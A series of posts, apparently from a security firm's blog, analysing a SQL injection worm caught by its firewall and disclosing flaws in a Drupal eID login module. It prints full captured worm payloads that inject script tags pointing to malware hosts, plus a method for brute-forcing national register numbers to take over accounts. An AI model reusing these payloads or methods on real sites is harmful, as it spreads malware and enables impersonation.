Last Tuesday we gave a presentation at the local OWASP Belgium Chapter Meeting together with Frank Cornelis, lead architect at Fedict. The place was packed, 100 enthusiasts subscribed. Maybe it had something to do with the next presentation about web vulnerability scanners, but it was an interesting evening.

Frank talked about the eID, how it works, purposes and architecture.

I discussed about the weaknesses and gave some examples of real bad implementations. 

Also some good news, Fedict built a module for Drupal based on the OpenID provider. So I hope that this will allow to use the eID in Drupal in a secure way.

The presentation can be downloaded here.

Since we started this blog, a lot of automated requests from spam bots have been detected and blocked by our ZION SECURED WAMAF.

To give you some statistics: during the last month we stopped 1150 attempts to inject spam in this blog. The XSS attack is in fact comment spam.

An example of such a request:

POST /blog/2010/3/2/update-about-the-rijksregisternumber.aspx HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; MyIE2; Maxthon)
Host: www.zionsecurity.com
Accept: */*
Referer: http://ufsix.ir/index.php/more-about-joomla/25-the-project/5-joomla-license-guidelines.html, http://www.zionsecurity.com/blog/2010/3/2/update-about-the-rijksregisternumber.aspx
X-FORWARDED-FOR: 213.206.5.224, 158.43.240.12, 198.165.92.91, 158.43.240.10, 66.119.34.38, 202.45.127.18
FORWARDED-FOR: 213.206.5.224, 158.43.240.12, 198.165.92.91, 158.43.240.10, 66.119.34.38, 202.45.127.18
X-COMING-FROM: 213.206.5.224, 158.43.240.12, 158.43.240.10, 66.119.34.38

VIA: 1.1 sfcache1 (NetCache NetApp/5.5R6), 1.1 sfcache1 (NetCache NetApp/5.5R6)
Content-Length: 2621
Content-Type: application/x-www-form-urlencoded
Expect: 100-continue

Some strange things here: 2 Referer entries, not 1. And a cascade of anonymous proxies. Also the User-Agent is like a normal user-agent.

My guess is that this is an infected machine that is querying google for keywords like blog, comment, ... and attempts to inject the spam. Spam is removed for obvious reasons from this post :)

Country of origin:

Clicking on one of the links in the spam redirects to a spammed forum (phpBB), where the visitor is being trapped in visiting a porn site because clicking the image with Yesn I am 18+ or No, I am not 18+ gives the same result.

With NoScript enabled, nothing happened. Disabling NoScript and intercepting the traffic in Burp gave some interesting results:

Kaspersky Anti-Virus 6.0 for Windows Workstations Access denied The requested URL could not be retrieved While trying to retrieve the URL: http://pagecsearch.org/cgi-bin/030 The following error was encountered: The requested object is INFECTED with the following viruses: Packed.JS.Agent.cl Please contact your service provider if you consider it incorrect. Generated: 14/04/2010 16:28:02 Kaspersky Anti-Virus 6.0 for Windows Workstations

I wonder what the legal impact is for a Belgian site being infected with this kind of spam and users get redirected to a porn site that tries to infect the user.

I want to let you know that I'm starting with an e-book called Building Secure Web Applications, where I want to help developers all around the world to build and maintain secure web applications. 

I need you to leave your security questions so I can start writing!

Our ZION SECURED WAMAF blocks a lot of attacks lately. Some attacks are worth investigating because they reveal new threats.

Most of you probably know about the Asprox worm? See http://matchent.com/wpress/?q=node/419

This weekend a bot attacked this blog, protected by ZION SECURED WAMAF:

GET /blog/2010/2/26//solutions.aspx?show=Solutions';dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20
cUrSoR%20FoR%20sElEcT%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%
20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe='u'%20AnD%20(b.xTyPe=99%20oR%20b.
xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20f
EtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0
)%20bEgIn%20exec('UpDaTe20%5B'%2B@t%2B'5D%20sEt20%5B'%2B@c%2B'%5D=rtrim(c
onvert(varchar(8000),%5B'%2B@c%2B'%5D))%2BcAsT(0x3C736372697074207372633D
687474703A2F2F7777772E646E663636362E6E65742F752E6A733E3C2F7363726970743E%
20aS%20vArChAr(53))%20where%20%5B'%2B@c%2B'5D%20not%20like%20''%dnf666%''')%20fEtCh%20next%20FrOm%20
tAbLe_cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20t
AbLe_cursoR;-- HTTP/1.1
User-Agent: curl/7.19.7 (i386-pc-win32) libcurl/7.19.7
Host: www.zionsecurity.com
Accept: */*

The User Agent indicates that this is not a browser but the well-known tool curl,  running on Windows. This request wants to test if there is data in the database containing the string dnf666. Probably to see if the database is already infected with the malicious payload.

Because we don't reply with HTTP 500 error but redirect to the homepage instead, the worm attempts to inject its payload with the following GET request:

GET /blog/2010/2/26//solutions/code-review.aspx?show=Code+review';dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR
%20cUrSoR%20FoR%20sElEcT%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,
sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe='u'%20AnD%20
(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20
b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_
cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)%20bEgIn%20exec('UpDaTe%20%5B'%2B@t%2B'%5D%20sEt%20%5B'%2B@c%2B'%5D=rtrim(convert(varchar(8000),%5B'%2B@c%2B'%5D))%2B
cAsT(0x3C736372697074207372633D687474703A2F2F7777772E646E663636362E6
E65742F752E6A733E3C2F7363726970743E%20aS%20vArChAr(53))%20where%20%5B'%2B@c%2B'%5D%20not%20like%20''%dnf666%''')%20fEtCh%20next%20FrOm%20tAbLe_
cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20
tAbLe_cursoR;-- HTTP/1.1
User-Agent: curl/7.19.7 (i386-pc-win32) libcurl/7.19.7
Host: www.zionsecurity.com
Accept: */*

Comparing this with the original payload that you can find here shows that the attack above is from a different worm then Asprox, http://chaptersinwebsecurity.blogspot.com/2008/07/asprox-silent-defacement.html:

DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C41524520405420766172636
8617228323535292C40432076617263686172283430303029204445434C41524520546162
6C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622
E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220
776865726520612E69643D622E696420616E6420612E78747970653D27752720616E64202
8622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D
323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F7
2204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F20
40542C4043205748494C4528404046455443485F5354415455533D302920424547494E206
57865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727
223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646
F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27
272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B65202727252
23E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F
7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272
727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F
2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F4
3415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);--

First of all:

The worm uses a mix of small and big caps, for example "dEcLaRe" or "fEtCh next FrOm tAbLe". This is to bypass web application firewalls or filters that trigger on DECLARE, FETCH NEXT FROM TABLE, .. so this is interesting.

The same way to inject the malicious payload is used with CAST:

3C736372697074207372633D687474703A2F2F7777772E646E663636362E6E65742F752
E6A733E3C2F7363726970743E

This can be ASCII HEX decoded using Burp Decoder, resulting in <script src=http://www.dnf666.net/u.js></script>.

Loading this script (dangerous!) returns:

try{__m}catch(e){__m=1;document.title=document.title.replace(/\<(\w|\W)*\>/,"");document.write("<iframe src=http://www.dnf666.net/cnzz.html width=0 height=0></iframe>");}

this returns:

<div style=display:none><script src="http://s10.cnzz.com/stat.php?id=1990191&web_id=1990191" language="JavaScript"></script></div>

Google has not listed this cnzz.com domain as malicious, but it was malicious in the past:

Safe Browsing
Diagnostic page for cnzz.com

What is the current listing status for cnzz.com?

This site is not currently listed as suspicious.

What happened when Google visited this site?

Of the 132 pages we tested on the site over the past 90 days, 0 page(s) resulted in malicious software being downloaded and installed without user consent. The last time Google visited this site was on 2010-03-07, and the last time suspicious content was found on this site was on 2010-03-07.

Malicious software includes 224 scripting exploit(s), 22 exploit(s), 5 trojan(s).

Malicious software is hosted on 1 domain(s), including cmzz.3322.org/.

This site was hosted on 9 network(s) including AS17672 (CHINATELECOM), AS4847 (CNIX), AS4808 (CHINA169).

Has this site acted as an intermediary resulting in further distribution of malware?

Over the past 90 days, cnzz.com did not appear to function as an intermediary for the infection of any sites.

Has this site hosted malware?

Yes, this site has hosted malicious software over the past 90 days. It infected 89 domain(s), including 360quan.com/, xsdyy.com/, phototh.com/.

Visiting this URL is blocked by ScanSafe:

So it's basically the same like Asprox, injecting a script tag to a malicious file.

Googling for the string dnf666.net/u.js already reveals some victims, including some high profile sites!

Be careful when browsing!

We got some reactions concerning the Rijksregisternumber used by the eID module.

The five random numbers are not all five random. The last two are a checksum for the entire number, using a DIV 97. The first three are even numbers for male citizens, and odd numbers for female citizens.

So this means that we can brute-force a Rijksregisternumber in 500 or 499 attempts.

This is better then 9999 so using Burp Intruder with 10 threads/second should take less then a minute to find the valid RRN when we know somebody his birthdate.

A few weeks ago I saw a tweet by Dries Buytaert, the creator of Drupal, that a Belgian web agency created a module for Drupal to allow authentication with the Belgian electronic identity card (eID). I am a supporter of Drupal and the eID card since years.

ZION SECURITY wrote a whitepaper about implementing a secure authentication framework for the eID, see http://www.zionsecurity.com/news/whitepaper-10-tips-voor-een-veilige-eid-implementatie.aspx.

Because it is Drupal, the module is open-source so we took a look at the implementation and to my big surprise, the implementation fails terribly at securing the authentication process.

Testing this in our lab was impossible because the quality of the module is unsatisfying and I don't want to waste time fixing somebody else mistakes. However, it was for me required to blog about the unsecurity of this module before somebody uses it for a production environment. Contacting this web agency resulted in nothing constructive so this is also an eye-opener for them!

What is the problem? There are different problems.

1. They use the serialnumber of the certificate, which is the Rijksregisternummer (SSN) of a Belgian citizen. The usage of this SSN is prohibited by the Belgian Privacy Commission but they use it as a primary key in the Drupal user database (fail!)

2. To authenticate the user, they use a proxy server that will validate the eID certificate and retrieve the values like firstname, lastname and serialnumber. These parameters are then sent to the Drupal site using HTTP in clear text! No protection of the SSN is provided in any way, for example: http//drupalsite/eid/response?firstname=Erwin+Andr%C3%A9&lastname=Geirnaert&serialnr=CENSORED &token=0f2e01a6bedb2dee2df2bde2c05f68c8

3. The token that you notice in the URL above is generated by the Drupal site! This token is visible for the user and can be copied and re-used, in my Drupal site this was /eid.php?token=0f2e01a6bedb2dee2df2bde2c05f68c8&login=CENSORED

4. To make things worse, if we combine the previous information we can logon to any web site that uses this module when we know the SSN number. We don't need the eID, the PIN code or the certificate, only the SSN. How do you get the SSN? The SSN is a string of 11 numbers, where the first 6 are the birthdate of the user and the last 5 are random. So if I know somebody his birthday (LinkedIn, Plaxo, Facebook anyone?) I can brute-force his SSN in 9999 requests to gain access to the Drupal site. These attempts are not detected, blocked or logged!

5. All connections to the Drupal web site are not using HTTPS so it is possible to sniff the user his cookie! Now that is possible to use SSL with client certificates thanks to the Belgian government, unbelievable!

Typing this makes me somewhat angry. Initiatives like OWASP, SANS Secure Coding, ... are useless when people don't want to write secure code and forget about the impact of security bugs and even refuse help from people like us!